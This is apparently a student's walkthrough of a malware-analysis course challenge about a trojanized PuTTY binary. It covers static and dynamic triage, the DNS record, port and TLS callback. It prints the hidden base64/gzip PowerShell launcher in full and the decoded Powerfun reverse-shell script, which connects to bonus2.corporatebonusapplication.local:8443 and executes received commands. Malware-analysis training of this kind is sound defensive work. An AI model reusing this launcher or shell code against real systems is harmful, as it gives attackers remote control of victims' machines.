Practical Malware Analysis & Triage - Challenge 1: Silly Putty
Challenge 1: SillyPutty Walkthrough
This is the first challenge of the course from TCM Academy called “Practical Malware Analysis & Triage”.
Challenge Questions:
Basic Static Analysis
-
What is the SHA256 hash of the sample?
R= 0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83
-
What architecture is this binary?
R= Using PEstudio, we can confirm it is a 32-bit binary.
-
Are there any results from submitting the SHA256 hash to VirusTotal?
R= Yes, it is widely detected by anti-virus engines. It’s interesting that it is detected as “meterpreter” from the “Threat Label”. We now know in advanced that most likely this is the payload from metasploit.
-
Describe the results of pulling the strings from this binary. Record and describe any strings that are potentially interesting. Can any interesting information be extracted from the strings?
R= No interesting strings
-
Describe the results of inspecting the IAT for this binary. Are there any imports worth noting?
R= Checks for the presence of debuggers with function IsDebuggerPresent
-
Is it likely that this binary is packed?
R= No, way too many visible ASCII strings for the binary to be packed
Basic Dynamic Analysis
-
Describe initial detonation. Are there any notable occurrences at first detonation? Without internet simulation? With internet simulation?
R= Without internet simulation, what looks to be a powershell windows shows up briefly, and then the common “putty” window pops-up.
With internet simulation, a powershell windows stays open for a few seconds, then it dissapears. At the end, we are left with the same well-known “putty” window.
-
From the host-based indicators perspective, what is the main payload that is initiated at detonation? What tool can you use to identify this?
R= Having procmon turned on beforehand, with a filter to only get the activity performed by the process
putty.exe
, we were able to track it’s activity and from there pivot over to its process tree; where we were able to get the command executed by the powershell windows we saw in the initial detonation.powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAOW/UWECA51W227jNhB991cMXHUtIRbhdbdAESCLepVsGyDdNVZu82AYCE2NYzUyqZKUL0j87yUlypLjBNtUL7aGczlz5kL9AGOxQbkoOIRwK1OtkcN8B5/Mz6SQHCW8g0u6RvidymTX6RhNplPB4TfU4S3OWZYi19B57IB5vA2DC/iCm/Dr/G9kGsLJLscvdIVGqInRj0r9Wpn8qfASF7TIdCQxMScpzZRx4WlZ4EFrLMV2R55pGHlLUut29g3EvE6t8wjl+ZhKuvKr/9NYy5Tfz7xIrFaUJ/1jaawyJvgz4aXY8EzQpJQGzqcUDJUCR8BKJEWGFuCvfgCVSroAvw4DIf4D3XnKk25QHlZ2pW2WKkO/ofzChNyZ/ytiWYsFe0CtyITlN05j9suHDz+dGhKlqdQ2rotcnroSXbT0Roxhro3Dqhx+BWX/GlyJa5QKTxEfXLdK/hLyaOwCdeeCF2pImJC5kFRj+U7zPEsZtUUjmWA06/Ztgg5Vp2JWaYl0ZdOoohLTgXEpM/Ab4FXhKty2ibquTi3USmVx7ewV4MgKMww7Eteqvovf9xam27DvP3oT430PIVUwPbL5hiuhMUKp04XNCv+iWZqU2UU0y+aUPcyC4AU4ZFTope1nazRSb6QsaJW84arJtU3mdL7TOJ3NPPtrm3VAyHBgnqcfHwd7xzfypD72pxq3miBnIrGTcH4+iqPr68DW4JPV8bu3pqXFRlX7JF5iloEsODfaYBgqlGnrLpyBh3x9bt+4XQpnRmaKdThgYpUXujm845HIdzK9X2rwowCGg/c/wx8pk0KJhYbIUWJJgJGNaDUVSDQB1piQO37HXdc6Tohdcug32fUH/eaF3CC/18t2P9Uz3+6ok4Z6G1XTsxncGJeWG7cvyAHn27HWVp+FvKJsaTBXTiHlh33UaDWw7eMfrfGA1NlWG6/2FDxd87V4wPBqmxtuleH74GV/PKRvYqI3jqFn6lyiuBFVOwdkTPXSSHsfe/+7dJtlmqHve2k5A5X5N6SJX3V8HwZ98I7sAgg5wuCktlcWPiYTk8prV5tbHFaFlCleuZQbL2b8qYXS8ub2V0lznQ54afCsrcy2sFyeFADCekVXzocf372HJ/ha6LDyCo6KI1dDKAmpHRuSv1MC6DVOthaIh1IKOR3MjoK1UJfnhGVIpR+8hOCi/WIGf9s5naT/1D6Nm++OTrtVTgantvmcFWp5uLXdGnSXTZQJhS6f5h6Ntcjry9N8eXQOXxyH4rirE0J3L9kF8i/mtl93dQkAAA=='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"
-
What is the DNS record that is queried at detonation?
R= bonus2[.]corporatebonusapplication[.]local
-
What is the callback port number at detonation?
R= 8443
In order to answer this question, I needed to figure how to get the main payload (base64 string) into ASCII.Looking into each of the functions that it is performing it performs the following:
- Decodes the string from base64
- Stores decoded output into memory
- Decompresses from gzip compression
- Reads code from memory
- Executes the code
I figured that I might be able to decode this using CyberChef,following the same process, I decoded the string using the “From Base64” CyberChef function, and then the “Gunzip” to decompress the data with gzip headers, then I was able to take a peek at the plain-text code.
The first line caught my eye, as it seems that the Threat Actor has used a very likely open source red team tool. Doing a little of google-fu, the authors presented a conference talk in 2015 talking about this tool, which basically allows to run an interactive powershell session in the victim host through metasploit.
Full code:
# Powerfun - Written by Ben Turner & Dave Hardy function Get-Webclient { $wc = New-Object -TypeName Net.WebClient $wc.UseDefaultCredentials = $true $wc.Proxy.Credentials = $wc.Credentials $wc } function powerfun { Param( [String]$Command, [String]$Sslcon, [String]$Download ) Process { $modules = @() if ($Command -eq "bind") { $listener = [System.Net.Sockets.TcpListener]8443 $listener.start() $client = $listener.AcceptTcpClient() } if ($Command -eq "reverse") { $client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443) } $stream = $client.GetStream() if ($Sslcon -eq "true") { $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback])) $sslStream.AuthenticateAsClient("bonus2.corporatebonusapplication.local") $stream = $sslStream } [byte[]]$bytes = 0..20000|%{0} $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) if ($Download -eq "true") { $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n") $stream.Write($sendbytes,0,$sendbytes.Length) ForEach ($module in $modules) { (Get-Webclient).DownloadString($module)|Invoke-Expression } } $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $stream.Write($sendbytes,0,$sendbytes.Length) while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $data = $EncodedText.GetString($bytes,0, $i) $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' $x = ($error[0] | Out-String) $error.clear() $sendback2 = $sendback2 + $x $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() $listener.Stop() } } powerfun -Command reverse -Sslcon true
-
What is the callback protocol at detonation?
R= From the packet capture in the loopback interface, we can observe the callback protocol is TLS1.2
-
How can you use host-based telemetry to identify the DNS record, port, and protocol?
R= Filtering by PPID (it being the vaue of putty.exe), we are able to get the protocol (
TCP
), DNS record (bonus2.corporatebonusapplication.local
) and port (8443
) -
Attempt to get the binary to initiate a shell on the localhost. Does a shell spawn? What is needed for a shell to spawn?
R= It does, a powershell shell. We need to add the domain
bonus2.corporatebonusapplication.local
into our “victim” machine localhosts file, then, within the same machine we open a netcat listener to port 8443 using the--ssl
flag, as it will not connect to it if there is no successful handshake.